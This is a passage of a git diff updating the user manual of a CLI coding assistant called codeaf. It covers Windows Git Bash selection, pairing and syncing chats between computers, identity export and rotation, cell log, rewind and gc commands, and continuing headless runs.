+3. Git under `%ProgramW6432%`, `%ProgramFiles%`, `%ProgramFiles(x86)%`, then `%LOCALAPPDATA%\Programs\Git` and `%USERPROFILE%\scoop\apps\git\current`. +4. `bash.exe` on PATH, unless it is a WSL launcher. + +For each Git installation, `bin\bash.exe` wins over `usr\bin\bash.exe`. Set `CODEAF_BASH` to choose a Git for Windows or MSYS2 bash.exe yourself; a relative choice is resolved from the current working folder. Unset it to restore this search. + +## Can codeaf use WSL to run commands? + +codeaf running natively on Windows never uses WSL's bash.exe in Windows system folders or WindowsApps. WSL would run commands in a different system from the files codeaf reads and writes. A command and a file tool could then see different files. Tools installed only inside WSL are not on the native Windows command path; install the Windows version or a tool that works in Git Bash. + +Windows commands use Git Bash or another MSYS2-family bash. Setting `CODEAF_BASH` to WSL's launcher stops the command and explains how to choose a usable bash.exe. + +## Why do my commands fail on Windows when no bash was found? + +codeaf needs Git for Windows' bash or another MSYS2-family bash to run commands on Windows. If none is found, the `bash` shell tool is absent from the model’s tools, no command runs, and the project facts explain: + +"codeaf runs commands in Git for Windows' bash, and none was found: install Git for Windows, or set CODEAF_BASH to a bash.exe; WSL's bash.exe is not used." + +Install Git for Windows and restart codeaf, or set `CODEAF_BASH` to its bash.exe before starting codeaf. WSL's bash.exe runs in a different system from codeaf's file tools and is never used. + +## CODEAF_BASH does not exist or names WSL's launcher + +On Windows, `CODEAF_BASH` chooses an explicit bash.exe. An unusable choice stops the command; codeaf does not silently search for another. With `` replaced by the path you set, the missing-file answer is: + +`"CODEAF_BASH names , which does not exist. Set it to a Git for Windows or MSYS2 bash.exe, or unset it and codeaf will look for Git Bash."` + +The WSL-launcher answer is: + +`"CODEAF_BASH names , which is WSL's launcher and runs commands in a different system. Set it to a Git for Windows or MSYS2 bash.exe, or unset it and codeaf will look for Git Bash."` + +## How do I write Windows drive paths in Git Bash? + +Git Bash uses `/c/…`, `/d/…` for Windows drives, for example `/c/Users/me/project`. codeaf converts paths it places in shell PATH lists and command targets to this form. Relative Windows paths such as `C:skills\bin`, `\tools\bin` and `skills\bin` are first made absolute using Windows' current drive and folder. Already POSIX-shaped paths beginning with `/` stay as written. Values read by native Windows programs keep their Windows form. The worker's project facts name its selected shell and the drive path form. Cygwin's `/cygdrive/` prefix is not supported. + +When Git Bash starts a Windows program, it normally converts arguments beginning with `/` into Windows paths. That is how `/c/Users/me` reaches a native Windows tool as a drive path. + +## Why does gh api say not found on Windows? + +Git Bash normally rewrites arguments beginning with `/` into Windows paths when it starts a Windows program. Thus `gh api /repos/owner/project` can send a Windows path instead of an API route. This is Git Bash's default behavior, also used by commands in codeaf on Windows. + +Write the API route without its leading slash: `gh api repos/owner/project`. Or disable conversion for that command: `MSYS_NO_PATHCONV=1 gh api /repos/owner/project`. Keep the default conversion for commands that need Git Bash's `/c/…` drive paths translated for a Windows program. + +## Can I run codeaf inside WSL on Windows? + +Yes. Run the Linux build of codeaf inside WSL and its commands use Linux bash, beside the Linux files its file tools read and write. The Git for Windows requirement applies to the native Windows build. Native Windows codeaf never selects the WSL launcher as its shell. + +## How do I read the rest of a long command output on Windows + +When a command prints more than fits, the notice offers an exact `sh` command to read the saved output. It uses Git Bash paths and quotes Windows scratch folders, including folders with spaces or an apostrophe. Run that offered command to read the saved bytes instead of running the original command again. diff --git a/internal/manual/chat/running-from-the-terminal.md b/internal/manual/chat/running-from-the-terminal.md index d74574744c..5f50c8b8e0 100644 --- a/internal/manual/chat/running-from-the-terminal.md +++ b/internal/manual/chat/running-from-the-terminal.md @@ -311,7 +311,7 @@ hand it work do "" · exec "" · run look at what happened why self · why · notebook · competence · services · logs · models · doctor · manual · version housekeeping connect · disconnect · cache · cache clean · rebuild · - serve · devices · help env + serve · pair · devices · help env plan work by hand plan new "" · plan show · plan revise "…" · plan run ``` @@ -330,6 +330,238 @@ closes. Neither draws anything or reads a key. **`codeaf tick`** and **`codeaf w kept out of it as well, because they do nothing any more (see *codeaf wake and codeaf tick* below). +A third, **`codeaf cell`**, is typed by hand but is not in the help text: it works +by default on Linux and macOS on every build. Native Windows is supported too; a compatible furrow engine is required. Its verbs are described under "The cell verbs" below. + +## codeaf pair — show a code, or use one, from the terminal + +**`codeaf pair approve `** compares the four-digit check number and asks `a / d`: only `a` approves, and `d`, Esc, Enter or anything else decline. Code pairing keeps its `y / n` question. + +**`codeaf pair`** on a new computer asks to join your devices and shows a link to approve from a computer that is already in (`codeaf pair approve `); **`codeaf pair --code`** shows a code that gives your chats to another computer. **`codeaf pair `** uses a code that another computer showed, for example `codeaf pair 42-715-302`. `CODEAF_SYNC_URL=` or `--via ` keeps the invitation on that service's own pairing page and includes `--via` in the token command; it never prints the hosted page link for a self-hosted invitation. `--via ` names the sync address to go through, and `--replace` lets this computer drop chats of its own for the ones it is given. The page *Pairing your chats with a second computer* has the whole story. + +## The architecture map — codeaf atlas [map], /atlas [map], what talks to what, how two computers pair and continue a chat + +The atlas draws a picture of the parts behind the two-computer work — the +pairing, the devices, the chats that move, the sync and the furrow engine — as +boxes and arrows, with flows you can step through. It opens no conversation, makes no +model request and spends nothing; it is a map of the code, not a control. The old +Bun + OpenTUI version that lived in `tools/atlas` is gone: everything goes +through Go, from the one model and one registry of maps inside the binary. + +Maps are named. **`codeaf atlas pairing`** opens the pairing map — codeaf on +two computers, pairing with a link and continuing a chat on the other — and +**`/atlas pairing`** opens the same map inside the chat, over the conversation +you are typing in, on the same terms: no model request is made, nothing is spent, and +`esc` or `q` closes it and gives the conversation back exactly as it was, with +the transcript, the draft and everything you had open untouched. A box you +dragged stays where you put it the next time you open the map. + +Bare `codeaf atlas` and bare `/atlas` open a **picker** instead: one row per +registered map, its name and its one-line description. `enter` opens the row +the cursor is on; `esc` or `q` leaves without opening anything — back to the +shell, or back to the chat. `tab` completes map names after `/atlas`, the way +other commands with arguments complete theirs. A name that is not a map exits +the CLI non-zero with `no map "" — available maps: …`; in the chat the +same line lands in the transcript like any other slash error. + +## Architecture map keys — moving boxes and stepping through a flow + +Once a map is open: + +- Drag a box with the mouse to move it; the arrows follow. +- Click a box, or `tab` then `enter`, to open what it does, its files and what + it talks to; click again (or `enter`) to close it. +- `1` `2` `3` or `f` open the flows; `←` `→` (or `h` `l`) step through one, + and `p` plays it. `0` goes back to the overview. +- `?` shows the keys and the colour legend. +- In the chat, `esc` or `q` closes the map and returns to the conversation; in + the standalone command, `q` or `ctrl+c` quits and gives the terminal back. + +It is meant for a terminal of 120×35 or larger and still works at 80×24. +`codeaf atlas --help` answers with its usage like every other command. + +The map uses the same Display `step icons` choice as the chat. Rich, plain and +linear glyphs are resolved from one shared vocabulary; changing that choice changes +the map's marks too. + +## Where the architecture map's engine source lives + +The engine's authoritative source is Agent-Field/furrow. The Rust engine boxes +point to this build's local pin and Go callers rather than a vendored engine tree. +Other boxes name files inside this repository. The pin is the source of the engine +version; the map does not keep a second version number. + +## The cell verbs — list a cell's turns and rewind it + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. They need a compatible furrow engine. `codeaf cell` is hidden from the +help text. **`codeaf cell log []`** lists a cell's +turns, newest first, one line each (turn, parent, time, trigger, tools, receipt; a setup turn says `Setup` and its calls are marked `[external]`), and +**`codeaf cell rewind []`** puts the cell's files and transcript back to that +turn. A rewind adds a new turn on top of the newest one and deletes nothing, so it can be +rewound too. It refuses while a tool call began and never finished. With no cell named, +both use the cell the current folder is in. + +## Do moving chats restrict commands, network access or installs + +New chats declare `host-bound`: shell commands run on this computer with the network and the same access as any program you run. Moving chats does not change that access. `/setup` compares the tools a chat used with this machine and can install missing tools or rebuild folders left behind by a move; it is not needed for ordinary network access. A cell already declared sandboxed by an earlier build keeps that class. + +## Your identity — codeaf identity show, export and import + +Your identity is the one root secret codeaf keeps for you on a machine: a signing key, a +secret for deduplicating file content, and the key your saved secrets are sealed under. It +lives in `identity.json` in the codeaf home, readable by you only. There is no account. +These verbs are hidden from the help text and are available by default on Linux, macOS and native Windows with a compatible furrow engine. An older engine says `moving chats needs a newer furrow engine than this build carries`. + +**`codeaf identity show`** prints your public id, a short fingerprint you can compare by +eye between two machines, the cell key id, and this machine's device id. It makes the identity the first time it runs. + +**`codeaf identity export []`** asks for a passphrase (typed twice at a prompt, or one line +piped in) and writes your identity wrapped under it, to the file or to the +screen. The blob is safe to copy; without the passphrase it opens to nothing. Keep the +passphrase: losing it and every machine loses the identity. + +**`codeaf identity import [--replace] `** asks for the passphrase and makes that +identity this machine's. Afterwards `show` prints the same id and cell key id on both +machines. It refuses to overwrite a different identity already here unless you pass +`--replace`, and after a replace the secrets sealed under the old identity can no longer +be read. A wrong passphrase and a damaged blob get the same refusal. + +## Replacing an identity — rotate, device keys and an older vault + +**`codeaf identity rotate [--grace 7d] [--yes] [--abandon]`** replaces your identity on every +computer you keep: a new root, every chat and your saved keys sealed again under it, and the +old identity deleted by the relay after the grace period. It is how a lost computer is locked +out for good. It asks first and says what it costs; `--abandon` stops a rotation that has not +switched yet. Read *Locking out a lost computer for good*. + +Each machine also has its own device key, made the first time and never exported. Your +identity signs a small certificate for it, so two machines share one id but keep separate +device ids, and one machine can be told apart from another. + +A vault made before identities existed keeps working: its old key becomes the identity's +key the first time the identity is made on that machine. + +## List your chats on every machine — codeaf cell list --all, and what its lines mean + +**`codeaf cell list --all`** prints every chat you have on any of your machines, one line +each: id, title, device, where it runs (`running on `, ` offline`, +` turns from : discard`, or `-` for one held here or let go), and how +long ago its last saved turn was. It needs no terminal UI, so it works over ssh. Without +`--all` it prints the usage line. With sync off (`CODEAF_SYNC_URL=off`, or no relay to sync through) it prints +`sync is off: set CODEAF_SYNC_URL to your relay's address` and lists nothing. With a relay +set but no identity on this machine it prints +`this machine has no identity yet: codeaf identity import` and lists nothing, and when the +other machines cannot be reached it starts with `other machines unreachable`. + +## A different sync setting on an existing engine + +The engine keeps its sync setting from startup. Changing `CODEAF_SYNC_URL` to another address or `off` retires an idle engine before opening a chat and says `the engine restarted to pick up this terminal's sync setting`. If another window or work still uses it, the new window refuses to attach: `the engine for this folder started with a different environment than this terminal and is still in use — close its other windows or let its work finish, or run codeaf engine --stop --workspace `. The command names the exact folder. Let that work finish or stop the engine explicitly before reopening with the new setting. + +## Sync your chats between machines — CODEAF_SYNC_URL and CODEAF_SYNC_INTERVAL_MS + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are and keep working in every build. + +These environment settings are not rows in `/settings`. `CODEAF_SYNC_URL=off` stops relay +traffic; new chats still keep their local cells. + +**`CODEAF_SYNC_URL`** is the relay's address, like `http://host:8787`, or the word `off`. +Plain `http` is for trying it out inside an ssh tunnel; later the relay needs TLS. Unset, it +is the relay a pairing saved on this computer, and with none saved it is codeaf's hosted +relay when this build has one (see "Where your chats are stored" in use-this-on-another-computer); a build with no +hosted relay keeps sync off until you name one. `off` turns sync off. Set to something that is not a web address, it stops with +`CODEAF_SYNC_URL is not a web address like http://host:8787`. Set on a machine with no +identity, a headless sync command stops with `this machine has no identity yet: codeaf identity import`. +Starting the app creates a local solo identity when a relay is configured. It sends nothing +to the relay until pairing; that identity alone does not connect your other computers. + +## How often chat turns sync — CODEAF_SYNC_INTERVAL_MS + +After pairing, codeaf sends sealed chat turns to the relay configured by `CODEAF_SYNC_URL`. + +**`CODEAF_SYNC_INTERVAL_MS`** is how often unsaved turns are sent to the relay, in +milliseconds. The default is `5000`. A longer interval means fewer requests and more turns +that only this machine has if it goes to sleep. It must be a positive number. + +Everything sent is sealed under your identity first; the relay holds no names, no titles and +no file content it can read. Requests are signed by this machine's own device key, so the +relay can tell your machines apart. `codeaf cell list --all` and the sessions panel on home +show your chats on the other machines once both machines share an identity and this setting. + +## Why did my tool call not run after I continued the chat on my laptop — the view-only window, kept branch and clock warning + +With sync on, the chat you are typing in sends each saved turn to your relay, and holds the chat +for this machine while it is open. Closing the chat sends what is left and lets go of it, so your +other machine can pick it up at once. If this machine sleeps or loses its connection, presence stops answering; the other computers mark it offline after 25 seconds of silence, within 30 seconds. The lease itself expires after about ninety seconds, and an explicit continue can take it sooner. +You do not have to wait for that: press enter on a chat that says `running on ` on another +machine and continue it there, and it is taken at once (see "Continue a chat here that another +machine left" in home). + +When another machine does, this window says ` continued this chat; this window now only shows it`, +with the name of the machine that took over (or the first digits of its id when it has no name). From then on +this window only shows the conversation: a tool call the model tries here answers with that same line and does +not run, so the two machines never both change the chat. Nothing on the other machine is overwritten. + +Turns you saved here that had not reached the relay yet are not lost. They are kept as a separate chat +that starts from the last turn both machines share, and `codeaf cell list --all` shows it as +` turns from : discard`. Open this chat again and it carries on as that separate chat. + +**`codeaf cell discard []`** sets such a branch aside: it is archived, not deleted, and it leaves +every machine's list. It runs on the machine that holds the chat and says `discarded `; on any other +machine it refuses, naming the chat whose hold is missing. (The branch row on home discards from any of your +machines.) **There is no `codeaf cell merge` in this version:** folding a branch back into its chat is not +offered anywhere, so a branch row says `discard` alone. + +If this computer's clock is more than five minutes off, sync shows `this computer's clock is off by more than 5 minutes` +once and tries again on the next round; fix the clock and it carries on. With sync off none of +this exists and the chat behaves as it always did. + +## What syncing a conversation cost — how much data it uploaded, codeaf cell report, and sending the numbers only if you choose + +Each time a conversation is synced to another machine, codeaf adds one line of counts to a file on this +machine, `v3/sync/stats/.jsonl` in the codeaf home: how many turns, frames and objects that flush +carried, how many bytes went up and came down, and how many put, get and has requests it made. Requests that +no flush carries are counted too, in a line with a dash for its turn: what it cost to fetch a conversation +when you continue it here, and what a publish that failed had already sent. Sending your secrets along with +a conversation is counted apart, in `v3/sync/stats/vault.jsonl`, because it serves every conversation. A line holds +counts only: no time, no file names, no titles and no content. The file never leaves the machine on its own. + +**`codeaf cell report []`** (when cells are available) prints one row per flush and a total row for the +cell, or for the cell the current folder is in, then a `vault` row for what carrying your secrets cost on this +machine. The vault row is never added into the cell's total. Every request this machine made to the relay is +in exactly one row, so the rows of all conversations plus the vault add up to what the relay counted for +this machine. A cell that has never been synced has no rows, and +with no vault row either the report prints nothing at all rather than a table of zeros. + +**`codeaf cell report --export `** also writes those same lines to the file you name, and says so: +"counts only: bytes, objects and requests per turn; no content, no paths". Nothing is exported unless you +type `--export`, so a report on its own writes no file and sends nothing. + +## Free disk from old conversations — codeaf cell gc and the cell disk budget + +**`codeaf cell gc [--dry-run]`** (when cells are available) frees disk from finished +conversations. A conversation that codeaf keeps its own working folder for has files that +can always be written back from what codeaf sealed. `gc` removes those working files of +finished conversations, least recently opened first, toward the disk budget: +the `cell disk budget` row in settings, or `CODEAF_CELL_BUDGET_GB` for one launch, in +gigabytes (a fraction such as 0.5 works), 20 when unset, 0 for no limit. The settings row is absent when cells are unavailable. `codeaf doctor` +shows a `cells` row with what they hold against that budget. Only a conversation nobody is using and that is +fully sealed is touched. One that is open in any window, one opened in the last ten +minutes, and one with a call still in flight or not yet sealed are passed over, and `gc` +says why beside each. Your own project folders are never removed: a conversation +working in a folder of yours is passed over with "workspace is yours", however much disk +you are short of. What stays is the conversation itself (its transcript and history), +so it still lists and opens, and opening one writes its files back, byte for byte. Nothing is removed automatically when opening a chat, while idle or on a timer. The budget is the default for explicit gc only. A fresh snapshot is checked by restoring it into a temporary folder. Only top-level entries that match that restored copy byte for byte are removed. Withheld secrets, `.furrowpolicy` exclusions, rebuildable dependency folders and any directory containing excluded files stay in place. The policy file and the lockfiles (or their containing folders) stay too, so reopening preserves those exclusions. `--dry-run` +removes nothing and prints the exact top-level paths that would go (it still checks a fresh capture): + +``` +cells hold 24576.0 MiB, budget 20480.0 MiB + 01M3NZ9GCNB38JGMWYVG7V6WWC 6144.0 MiB would evict + captured.txt + src +``` + ## Connect from the terminal without opening the chat — codeaf connect and codeaf disconnect `codeaf connect` lists every model provider this profile knows, whether it is connected, @@ -766,12 +998,14 @@ when an existing resident did the work and this invocation cannot establish its `why` reads a store, and by default that store is `~/.codeaf/graph.db`. A headless `codeaf do` run does **not** work there: it uses a separate store of its own, kept only when the run failed or you asked for it with `--keep`, and the last line on the error stream -says where: +says where, and the line above it says how to carry the run on: ``` +continue it with: codeaf do --continue 3f81c2 record kept at ~/.codeaf/runs/codeaf-do-3f81c2 ``` + That directory holds a `graph.db`, and that is what to point the reader at: ``` @@ -789,6 +1023,36 @@ file` from `why`, `open notebook: …`, `open competence map: …`, `open store: writes its transcript to a file beside the conversation, not into this store, and its room in the chat replays it. `why` is the reader for headless work. +## Continue a kept headless run — codeaf do --continue + +`codeaf do --continue ` carries a kept run on: the id is the part of the folder name after +`codeaf-do-`, an unambiguous start of it is enough, and the folder's own path works too. Words +after it are this round's finding (`codeaf do --continue 3f81c2 "also add a test"`). The new run +is handed the original assignment unchanged, how the last run ended and what its plan reached, +and it works in `--dir` (the current directory unless you say otherwise), where the last run's +edits already are. It is a new run with its own record and its own id, and continuing a +continuation still names the first request once. Only a kept record can be continued: a run that +finished cleanly keeps none unless you passed `--keep`. An id nothing matches, or matches twice, +is refused in words. Only the run engine keeps this record, so `--continue` is refused when +`CODEAF_TASK_BELT` selects the older engine. + +## Continuing a sealed headless run — its cell and incomplete calls + +Cells are available by default on Linux, macOS and native Windows on every build with a compatible engine. +Native Windows is supported too, and a compatible furrow engine is required. `codeaf do` +runs inside a cell, the same kind of folder a chat is, and +the tool calls the run's workers make are sealed as turns, one turn for each set of calls the +model asked for together, taken after the calls' results are written down, and the end of +a worker's turn is sealed after its answer: `codeaf cell log` lists the turns, +and the kept record holds a `cell` file naming the cell. `codeaf do --continue ` then goes +on in that same cell from its last sealed turn: its files stand as that turn left them, and the +new run is told how many turns were sealed. A call that began and never finished (the run was +killed in the middle of it) is listed in the new run's brief and is never run again, so the new +run looks at what it left before relying on it. A run's cell is host-bound, so every call it +seals counts as external. A record from a run made without cells has no cell and continues +from the record alone, as before. Without a compatible engine, `do` continues from its kept record as before. + + ## What have I spent today — the receipts, with codeaf why self `codeaf why self` prints today's receipts: what was attempted, what it cost, and what was diff --git a/internal/manual/chat/running-on-another-machine.md b/internal/manual/chat/running-on-another-machine.md index c40309deb6..e58805354d 100644 --- a/internal/manual/chat/running-on-another-machine.md +++ b/internal/manual/chat/running-on-another-machine.md @@ -1,6 +1,6 @@ # Running on another machine -## What --host is — running this on my dev box, over ssh +## Can I run it on another computer — what --host is, running this on my dev box over ssh `--host` runs the chat surface on the machine you are sitting at, and runs the conversation on another machine, over ssh. @@ -149,7 +149,7 @@ Either way the fix is one command: update codeaf on the machine that is behind. negotiated down — two builds that might disagree about a frame must not find that out three turns into a conversation. -## I updated codeaf on that machine and it still says the versions differ +## I rebuilt codeaf on my dev box and --host still refuses — updated codeaf but the versions differ The next connection checks the running build as well as protocol compatibility. An idle old copy is replaced automatically; a busy one is left running and the connection explains how to retire it. @@ -180,6 +180,8 @@ as another build. Four things can be true: speak, the connection is refused, naming this binary as the older one and `codeaf engine --status` as the way to see which is newer. +## The older engine refusal — stop it with the exact --workspace + An older engine on another wire, or one too old to be asked at all, is refused, in these words: @@ -318,6 +320,10 @@ purpose, and says `this window is reading this conversation, not typing into it` ## How do I work on the same conversation from two computers — another window, and another machine +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are and keep working in every build. + These are two different things and they are easy to run together. **Another window** is a second codeaf on the *same* machine holding a conversation you can diff --git a/internal/manual/chat/screen.md b/internal/manual/chat/screen.md index f31a8da88f..8960516fdc 100644 --- a/internal/manual/chat/screen.md +++ b/internal/manual/chat/screen.md @@ -28,6 +28,8 @@ line above the message box* below, and *The thinking chip above the message box* keys page). The tray is drawn only when it has something on it: with nothing attached, the row is not there and the box sits straight under the gap. +## The right-hand task column — when it appears and alt+l + Beside the conversation, on the right, the column (the right-hand bar, sidebar, task panel, whatever you call it) takes a quarter of the frame, 28 to 40 columns (30 at 120), from the session's first keystroke, before any tasks exist. It is the same column in every @@ -47,6 +49,8 @@ column closed the conversation is laid out at the full width of the terminal, ru still draws the strip along the top, and the keys row under the box reads `alt+l tasks` once the session has tasks to come back to and no running-turn line owns that row. +## Which places take the whole frame — the tab bar, rewind and architecture map + **Seven places take the whole frame instead of sharing it**, at every width: home, AI teams, activity, automations, memory, spend and settings. All seven are on the tab bar with the way back to the chats, `Home Chats AI teams Activity Memories Automations Spend @@ -57,13 +61,19 @@ by position on the bar, so memories, the fifth word, is `alt+8`, and automations each has commands of its own (`/home`, `/teams`, `/history`, `/automations`, `/memory`, `/settings`). The rewind timeline (`/rewind`) takes the frame the same way and is deliberately not one of the seven: it is something you do to this conversation rather than -a room in the machine. +a room in the machine. The architecture map (`/atlas`, or `codeaf atlas` from the shell) +takes the frame the same way and is not one of the seven either: it is a map you read, and +`esc` or `q` gives the frame back. Bare `/atlas` opens a picker first — every map with its +name and its one-line description; `enter` opens the one the cursor is on, `esc` or `q` +leaves and gives the chat back exactly as it was. While any of them is up nothing else is drawn — no conversation, no box, no status line — and `esc` gives the frame back. **Only one is ever up:** opening any one closes the rest. +## Full-page navigation and the home message box + Every place is drawn in one frame, top to bottom: the top line (the `codeaf` wordmark, the -six places with the one you stand in lit, and the machine's own signs on the far end), the +place names with the one you stand in lit, and the machine's own signs on the far end), the tab strip of your chats, a dim rule, the place's body, a rule carrying the place's own count or note, and the hint line last. See the **Places** page. @@ -265,7 +275,7 @@ words supply the name until the generated title arrives. The project is a separa Answers to questions, including credential prompts, never supply a draft tab title. -## Closing a tab — the × on a tab, Ctrl+W, where do I go next +## How do I stop just this chat without touching the others — closing one tab with Ctrl+W or × **`×` or `ctrl+w` closes the tab in front.** Closing another tab leaves the current chat selected. Closing the current tab selects the most recently used @@ -289,6 +299,8 @@ every door — the ordinary socket, `--host`, `--at` and `--no-host` alike. Sele next tab replaces nothing: that chat has its own connection and carries on. Closing the last tab to Home leaves its connection in place. +## Closing a tab versus quitting codeaf — /quit and ctrl+c + **Quitting is a different act from closing a tab.** `ctrl+w` and `×` take a view off the row, and a working one is answered by the card below. `/quit` and `ctrl+c` end the whole program, ask @@ -1167,6 +1179,23 @@ redial the existing sentence — `reconnecting to devbox — trying for up to 5 takes the segment. `/status` spells the healthy fact out as `the round trip to devbox is about 3ms` under `connection`. +## Why does the status line say not sealed — calls that rewind cannot reach + +While a conversation's calls are being sealed and the last seal failed, the status line +carries `✗ not sealed` beside the state word. It is drawn for as long as it is true and it +goes the moment a seal holds; a conversation whose calls are sealing normally, or whose +folder is not sealed at all, draws nothing. Each conversation shows its own: another chat's failure never appears on this one. It shows on every launch, including the ordinary one where the conversation runs in a separate engine process, because the engine states the fact to the screen. A failed seal never fails the call or stops +the conversation, so this segment is the only sign that rewind cannot reach what came +after the failure. + +Three changes are also said once in the conversation: sealing starting to fail, with the +cause; its cause changing while it is still failing; and sealing working again. The same +failure repeating says nothing more, because the segment already does. The calls made +while sealing was down are not lost: they ride the next seal that holds, and `codeaf cell +log` lists them as `unsealed call(s) since